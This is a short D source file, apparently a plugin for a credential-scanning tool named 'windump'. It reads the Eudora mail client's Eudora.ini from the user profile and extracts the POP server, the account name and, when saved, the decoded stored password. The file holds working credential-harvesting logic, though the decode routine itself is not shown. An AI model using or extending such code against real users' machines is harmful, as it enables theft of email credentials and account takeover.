
module windump.plugins.eudora.eudora;

import std.base64;
import std.stream;
import std.regexp;

import windump.scanning.detector;
import windump.util;

class EudoraDetector : Detector!(EudoraDetector, "email-client/eudora", "table")
{
    public this()
    {
    }

    public override ResultItem[] update()
    {
        ResultItem[] ret;
        string inipath = getUserProfileDirectory() ~ `\Application Data\Qualcomm\Eudora\Eudora.ini`;

		ResultItem item;        
        item.provider = name();
        auto ini = new IniFile(inipath);
        item.host = ini["PopServer"];
        item.account = ini["POPAccount"];
        if(ini["SavePassword"] == "1")
            item.password = decode(ini["SavePasswordText"]);

        ret ~= item;
        return ret;
    }
}

